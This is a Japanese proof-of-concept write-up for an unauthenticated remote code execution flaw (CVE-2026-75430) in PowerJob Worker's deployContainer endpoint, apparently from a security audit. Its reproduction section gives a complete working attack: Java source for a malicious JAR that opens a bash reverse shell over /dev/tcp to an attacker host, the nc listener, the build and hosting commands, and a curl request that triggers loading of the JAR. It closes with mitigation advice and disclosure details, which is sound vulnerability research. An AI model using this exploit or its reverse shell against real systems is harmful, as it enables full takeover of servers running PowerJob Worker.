
CVE-2026-75430の概念実証エクスプロイト。deployContainerエンドポイントを介した任意のJAR読み込みにより、PowerJob Worker上で認証なしのリモートコード実行を実現します。
/worker/deployContainer 経由の認証なしリモートコード実行(任意JARロード)PowerJob Worker は、HTTPトランスポートポート27777上で deployContainer ハンドラをいかなる認証もなしに公開しています。攻撃者は任意のURLを送信し、Worker はそのJARをダウンロードして URLClassLoader と Spring ClassPathXmlApplicationContext を介してロードし、Spring の init-method 中に任意のコードを実行します → Worker RCE。デフォルトの docker-compose はこのポートをホストに公開します。
前提条件(正直な説明): Worker が実行中であること(27777がリッスンしていること)が必要です。デフォルト構成では、Worker は起動時にアプリがサーバーに登録されていることを検証します(/server/assert)。アプリが登録されていない場合、Worker は起動に失敗し、27777はリッスンしません(確認済み:Javaプロセスはコード1で終了します)。したがって、厳密にまっさらな「コンソール設定なしの docker-compose up」状態は直接悪用できません。しかし、PowerJob の通常運用ではアプリの登録と Worker のオンラインが必然的に必要です(そうでなければシステムはジョブをスケジュールしません)。そのため、実際に使用中のあらゆるデプロイは本質的に前提条件を満たしており、その後は認証情報ゼロで悪用可能です。対照的に、関連する発見事項 PJ-08(サーバー /friend/process)にはそのような前提条件はありません — サーバーは起動時に無条件に10010をバインドします。
powerjob-worker、公式 powerjob-worker-samples イメージでデプロイ)docker-compose.yml の worker サービス、HTTPプロトコル、ポート27777(PowerJobWorkerConfig.java:34)リクエストボディ ServerDeployContainerRequest(フィールド containerId/containerName/version/downloadURL)。
WorkerActor ハンドラは downloadURL を完全に信頼しています。OmsContainerFactory は任意のURLからJARをダウンロードし、直ちに OmsJarContainer.init() を呼び出します:URLClassLoader ロード + Spring コンテキスト refresh() → クラス/Bean初期化中に悪意のあるコードが実行されます。前提条件: Worker が実行中で27777がリッスンしていること(本番/デモ環境では常に満たされます。運用者が公式フローに従ってサンプルアプリを作成した場合、Worker はオンラインです)。再現のため、Worker は --powerjob.worker.allow-lazy-connect-server=true を指定して起動し、アプリ登録チェックをスキップできます(本番では推奨されません。このスイッチは Worker がオンラインになるかどうかにのみ影響し、開放ポートの認証欠如を変更するものではないことに注意)。
OmsJarContainer.init() の要件に一致):
PACKAGE_NAME=com.evil を含む oms-worker-container.propertiescom/evil/Exploit.class — Spring の init-method(例:run())を公開し、コマンドを実行するクラスoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>{"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"} で POST /worker/deployContainer を送信します。OmsJarContainer.init():OhMyClassLoader.load() がクラスをロードし(静的初期化子は)、その後 がBeanをインスタンス化して (Worker の実行時権限で実行)。出力エコーなし:
deployContainerハンドラはvoidを返すため、HTTPレスポンスにはコマンド出力が含まれません(確認済み:空のボディ)。対話的なコマンド実行にはリバースシェルが主要な手法です(以下の再現を参照)。マーカーファイル方式はローカルでの非対話的な検証のみです。
環境:JDK 21、ソースビルドの powerjob-worker-samples-5.1.2.jar、Worker が 192.168.49.128:27777 でリッスン(アプリ登録をスキップするため --powerjob.worker.allow-lazy-connect-server=true で起動)。
主要 — リバースシェル(対話的なコマンド実行):
悪意のあるJARの Exploit.run()(Spring init-method)がリバースシェルを起動します。出力エコーがないため、Worker ホスト上で対話的なコマンド実行を得る効果的な方法です。
# 1) 攻撃者が先にリッスン:
nc -lvnp 7878
# 2) 悪意のあるJARの構築 — Exploit.run() が bash リバースシェルを実行
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # evil.jar をホスト
# 3) トリガー(認証情報なし):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
または、スクリプトを使用して検証: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC の要点:
OhMyClassLoader.load()はloadClass()のみを呼び出すため、静的初期化子は実行されません。実際の実行ポイントはClassPathXmlApplicationContext.refresh()によって呼び出される Spring の init-method です。したがって、悪意のあるJARは Spring XML を保持し、init-methodを宣言する必要があります。リバースシェルは/bin/bash -c経由で実行する必要があります。なぜなら/bin/sh(dash)は/dev/tcpを解析しないためです。
deployContainer が信頼できるサーバーのみによってトリガーされるようにし、送信元を検証します。downloadURL を信頼できる内部アドレスに制限し、ロード前にJARのハッシュ/署名を検証します。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CriticalPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md(PJ-09)192.168.49.128:27777、認証情報なし → Worker RCE);## 6. 再現 を参照PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py(JAR自動ビルド + ホスト + トリガー、--reverse-shell、-p/--proxy)SECURITY.md チャネル経由(Tidelift / [email protected] / GitHub Security Advisory)| 項目 | 値 |
|---|
| エントリポイント | POST http://<worker>:27777/worker/deployContainer |
| ハンドラ | powerjob-worker/.../actors/WorkerActor.java:32-35(@Actor(path="worker")、認証なし) |
| ダウンロード | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| ロード | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
ClassPathXmlApplicationContext.refresh()AbstractScriptProcessor.java:118-123 も任意のURLからのダウンロードをサポート → Worker 側 SSRF。